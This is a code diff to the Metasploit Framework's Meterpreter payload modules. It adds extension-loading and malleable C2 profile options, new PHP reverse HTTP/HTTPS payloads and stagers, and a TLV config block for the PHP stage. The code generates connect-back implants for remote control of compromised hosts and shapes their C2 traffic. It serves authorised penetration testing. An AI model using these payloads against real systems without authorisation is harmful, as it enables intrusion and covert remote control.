--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb @@ -30,11 +30,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..86337a446ff33 --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions::Php + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTP Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTP (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_http(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: opts[:scheme], + c2_profile: datastore['MALLEABLEC2'], + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..c6d08b4a3152d --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions::Php + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTPS (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_https(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 23b8aa791a4c7..37ebcfee8b086 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -4,10 +4,12 @@ ## module MetasploitModule - CachedSize = 39837 + CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -24,21 +26,38 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end - def generate(_opts = {}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_tcp(opts)] - met.gsub!('127.0.0.1', datastore['LHOST']) if datastore['LHOST'] - met.gsub!('4444', datastore['LPORT'].to_s) if datastore['LPORT'] + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true, + }.merge(meterpreter_logging_config(opts)) - uuid = generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"PAYLOAD_UUID", ""}, %("PAYLOAD_UUID", "#{bytes}")) + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate(_opts = {}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - # Stageless payloads need to have a blank session GUID - session_guid = '\x00' * 16 - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + config_block = Rex::Text.encode_base64(generate_config(_opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -48,7 +67,6 @@ def generate(_opts = {}) end met.gsub!(/#.*$/, '') - met = Rex::Text.compress(met) - met + Rex::Text.compress(met) end end diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index a24a92b53f407..0e5eb646fcb93 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_bind_tcp(opts = {}) @@ -34,6 +38,7 @@ def generate_bind_tcp(opts = {}) socket_setup << "s, address = bind_sock.accept()\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index e8d3b7eb86f14..11a53b9797c61 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -26,6 +26,11 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -34,11 +39,14 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 8274c36226ac5..796318daaafa3 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -26,6 +26,11 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -35,11 +40,14 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 78a6600f191b6..961fb540a5d3f 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_reverse_tcp(opts = {}) @@ -32,6 +36,7 @@ def generate_reverse_tcp(opts = {}) socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index f3496dee50298..063693181ae58 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1e0572c956c29..b46c4bdb53bad 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 97fb03b8cbfd2..5b8d203f43caf 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { @@ -54,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -62,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index f98f6a64dd630..a9a55e0bcb409 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { @@ -54,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -62,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index b894677c9fec0..4e342fcba40ad 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -58,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 6c4738ee56907..2d871189f9ef3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index f705195f500e5..c363d6106a898 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 090cb171f2e56..b44c60cad72b6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 8683c867fb22a..301d13c576c97 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { @@ -54,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -62,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index ab26531892a8c..a362e8b3d1a41 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { @@ -54,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -62,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 6dcfc235c56f8..67af334bada30 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -58,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index ca9321ddfdf62..c530b8d0a98dd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/stagers/php/reverse_http.rb b/modules/payloads/stagers/php/reverse_http.rb new file mode 100644 index 0000000000000..21aa2fc32b5df --- /dev/null +++ b/modules/payloads/stagers/php/reverse_http.rb @@ -0,0 +1,27 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => { 'Payload' => '' } + ) + ) + end +end diff --git a/modules/payloads/stagers/php/reverse_https.rb b/modules/payloads/stagers/php/reverse_https.rb new file mode 100644 index 0000000000000..215ce0031534a --- /dev/null +++ b/modules/payloads/stagers/php/reverse_https.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => { 'Payload' => '' } + ) + ) + end + + def generate(_opts = {}) + super({ scheme: 'https' }) + end +end diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index e8723f3a096ca..8f45ec52d2df8 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -3,9 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'securerandom' - module MetasploitModule + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -23,16 +23,47 @@ def initialize(info = {}) ) end + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + def generate_stage(opts = {}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - uuid = opts[:uuid] || generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub('"PAYLOAD_UUID", ""', "\"PAYLOAD_UUID\", \"#{bytes}\"") + # Build the URI from the callback URL if present + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" + end - # Staged payloads need to have a new session GUID - session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*').chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -42,7 +73,6 @@ def generate_stage(opts = {}) end met.gsub!(/#.*?$/, '') - # met = Rex::Text.compress(met) met end end diff --git a/spec/lib/msf/core/handler/reverse_http_spec.rb b/spec/lib/msf/core/handler/reverse_http_spec.rb index d3f28b13b8236..f4379aa685aeb 100644 --- a/spec/lib/msf/core/handler/reverse_http_spec.rb +++ b/spec/lib/msf/core/handler/reverse_http_spec.rb @@ -39,7 +39,7 @@ def ssl? context 'when add_resource raised and resource was not added' do before do payload.service = mock_service - payload.resource_added = false + payload.instance_variable_set(:@resources_added, false) end it 'does not remove the resource but still derefs the service' do @@ -53,7 +53,7 @@ def ssl? context 'when the resource was successfully added' do before do payload.service = mock_service - payload.resource_added = true + payload.instance_variable_set(:@resources_added, true) end it 'removes the resource and derefs the service' do @@ -61,7 +61,7 @@ def ssl? expect(mock_service).to receive(:deref) payload.stop_handler expect(payload.service).to be_nil - expect(payload.resource_added).to eq(false) + expect(payload.instance_variable_get(:@resources_added)).to eq(false) end end end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index f19f9d6bc53ba..a5d246973191f 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -123,7 +123,7 @@ context "Any non group TLV_TYPE" do subject(:tlv_types){ - excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"] + excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_C2", "TLV_TYPE_EXTENSION", "TLV_TYPE_C2_GET", "TLV_TYPE_C2_POST"] typeList = [] Rex::Post::Meterpreter.constants.each do |type| typeList << type.to_s if type.to_s.include?("TLV_TYPE") && 